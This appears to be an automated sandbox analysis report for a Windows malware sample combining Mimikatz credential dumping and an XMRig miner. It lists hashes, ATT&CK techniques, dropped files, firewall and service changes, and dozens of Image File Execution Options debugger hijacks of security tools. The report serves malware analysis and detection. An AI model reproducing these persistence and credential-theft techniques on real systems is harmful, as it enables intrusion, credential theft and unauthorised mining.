mimikatz | 3615ac4b825bb9ac150deb10eb8d13b1b5556cd2bb24ab8b0aeebff7ad6eaac2

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-11-2024 06:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
Size

9.2MB
MD5

4af4356d35307e4612591b3c8101fa15
SHA1

1354e216a9b379a5e703e34bd29a0d9fdf43a977
SHA256

3615ac4b825bb9ac150deb10eb8d13b1b5556cd2bb24ab8b0aeebff7ad6eaac2
SHA512

04da35cfeeb792c1c0f9b7b24ccaebdb74ad36ff1e786039157448fa218ad93ecbf734c3c81ed6b8d750cbd5052abc8f617836d94ae63f194fccf8e78c601b03
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

biebucb.exe

description pid process target process

PID 2012 created 1692 2012 biebucb.exe spoolsv.exe
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (19565) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

description	pid	process	target process
PID 2012 created 1692	2012	biebucb.exe	spoolsv.exe

XMRig Miner payload 10 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2276-177-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-182-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-199-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-212-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-221-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-230-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-247-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-280-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-281-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig
behavioral2/memory/2276-301-0x00007FF634100000-0x00007FF634220000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4188-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4188-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
C:\Windows\ivwjddbm\biebucb.exe	mimikatz
behavioral2/memory/4212-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/228-136-0x00007FF6ECD50000-0x00007FF6ECE3E000-memory.dmp	mimikatz
behavioral2/memory/228-138-0x00007FF6ECD50000-0x00007FF6ECE3E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

Processes:

biebucb.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	biebucb.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

biebucb.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	biebucb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	biebucb.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

1644 netsh.exe
1484 netsh.exe

pid	process
1644	netsh.exe
1484	netsh.exe

Executes dropped EXE 27 IoCs

Processes:

biebucb.exebiebucb.exewpcap.exelvnuplabi.exevfshost.exectkyggczb.exexohudmc.exewooaom.exeiljmvq.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exectkyggczb.exebiebucb.exeiiqtmdpdb.exe

pid	process
4212	biebucb.exe
2012	biebucb.exe
1132	wpcap.exe
4924	lvnuplabi.exe
228	vfshost.exe
3124	ctkyggczb.exe
2880	xohudmc.exe
1476	wooaom.exe
2276	iljmvq.exe
2176	ctkyggczb.exe
3460	ctkyggczb.exe
1084	ctkyggczb.exe
1004	ctkyggczb.exe
5000	ctkyggczb.exe
2312	ctkyggczb.exe
3584	ctkyggczb.exe
456	ctkyggczb.exe
2552	ctkyggczb.exe
3536	ctkyggczb.exe
3836	ctkyggczb.exe
2916	ctkyggczb.exe
624	ctkyggczb.exe
4936	ctkyggczb.exe
512	ctkyggczb.exe
4308	ctkyggczb.exe
4768	biebucb.exe
3712	iiqtmdpdb.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exelvnuplabi.exe

pid	process
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
1132	wpcap.exe
4924	lvnuplabi.exe
4924	lvnuplabi.exe
4924	lvnuplabi.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

66 ifconfig.me
67 ifconfig.me
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

flow	ioc
66	ifconfig.me
67	ifconfig.me

Drops file in System32 directory 18 IoCs

Processes:

xohudmc.exebiebucb.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\wooaom.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\wooaom.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\088D7AA6D7DCA369223412E8DEF831B8	biebucb.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\088D7AA6D7DCA369223412E8DEF831B8	biebucb.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	biebucb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	biebucb.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe

UPX packed file 34 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/228-136-0x00007FF6ECD50000-0x00007FF6ECE3E000-memory.dmp	upx
C:\Windows\yvccbdwlz\Corporate\vfshost.exe	upx
behavioral2/memory/228-138-0x00007FF6ECD50000-0x00007FF6ECE3E000-memory.dmp	upx
C:\Windows\Temp\yvccbdwlz\ctkyggczb.exe	upx
behavioral2/memory/3124-142-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/3124-146-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
C:\Windows\Temp\bzlikjnbm\iljmvq.exe	upx
behavioral2/memory/2276-164-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/2176-171-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/3460-175-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-177-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/1084-180-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-182-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/1004-185-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/5000-189-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2312-193-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/3584-197-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-199-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/456-202-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2552-206-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/3536-210-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-212-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/3836-215-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2916-219-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-221-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/624-224-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/4936-228-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-230-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/512-232-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/4308-234-0x00007FF690090000-0x00007FF6900EB000-memory.dmp	upx
behavioral2/memory/2276-247-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/2276-280-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/2276-281-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx
behavioral2/memory/2276-301-0x00007FF634100000-0x00007FF634220000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

biebucb.execmd.exe2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exeiiqtmdpdb.exe

description	ioc	process
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\vimpcsvc.xml	biebucb.exe
File opened for modification	C:\Windows\ivwjddbm\docmicfg.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\Corporate\mimidrv.sys	biebucb.exe
File opened for modification	C:\Windows\yvccbdwlz\Corporate\log.txt	cmd.exe
File created	C:\Windows\ime\biebucb.exe	biebucb.exe
File opened for modification	C:\Windows\ivwjddbm\biebucb.exe	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\ssleay32.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\svschost.xml	biebucb.exe
File created	C:\Windows\ivwjddbm\vimpcsvc.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\Corporate\mimilib.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\libxml2.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\ucl.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\vimpcsvc.exe	biebucb.exe
File created	C:\Windows\ivwjddbm\svschost.xml	biebucb.exe
File opened for modification	C:\Windows\ivwjddbm\vimpcsvc.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\docmicfg.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\svschost.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\docmicfg.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\wpcap.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\cnli-1.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\crli-0.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\posh-0.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\trfo-2.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\xdvl-0.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\svschost.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\libeay32.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\vimpcsvc.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\AppCapture32.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\zlib1.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\AppCapture64.dll	biebucb.exe
File opened for modification	C:\Windows\yvccbdwlz\cttnbjmli\Packet.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\iiqtmdpdb.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\docmicfg.xml	biebucb.exe
File opened for modification	C:\Windows\ivwjddbm\spoolsrv.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\Corporate\vfshost.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\Packet.dll	biebucb.exe
File created	C:\Windows\ivwjddbm\schoedcl.xml	biebucb.exe
File opened for modification	C:\Windows\ivwjddbm\schoedcl.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\schoedcl.xml	biebucb.exe
File created	C:\Windows\ivwjddbm\spoolsrv.xml	biebucb.exe
File created	C:\Windows\ivwjddbm\docmicfg.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\scan.bat	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\lvnuplabi.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\tucl-1.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\spoolsrv.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\spoolsrv.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\wpcap.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\exma-1.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\spoolsrv.xml	biebucb.exe
File opened for modification	C:\Windows\ivwjddbm\svschost.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\cttnbjmli\ip.txt	biebucb.exe
File created	C:\Windows\ivwjddbm\biebucb.exe	2024-11-17_4af4356d35307e4612591b3c8101fa15_hacktools_icedid_mimikatz.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\tibe-2.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\schoedcl.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\Shellcode.ini	biebucb.exe
File created	C:\Windows\yvccbdwlz\upbdrjv\swrpwe.exe	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\coli-0.dll	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\schoedcl.xml	biebucb.exe
File created	C:\Windows\yvccbdwlz\UnattendGC\specials\trch-1.dll	biebucb.exe
File opened for modification	C:\Windows\yvccbdwlz\cttnbjmli\Result.txt	iiqtmdpdb.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

3380 sc.exe
4532 sc.exe
5024 sc.exe
4680 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
3380	sc.exe
4532	sc.exe
5024	sc.exe
4680	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
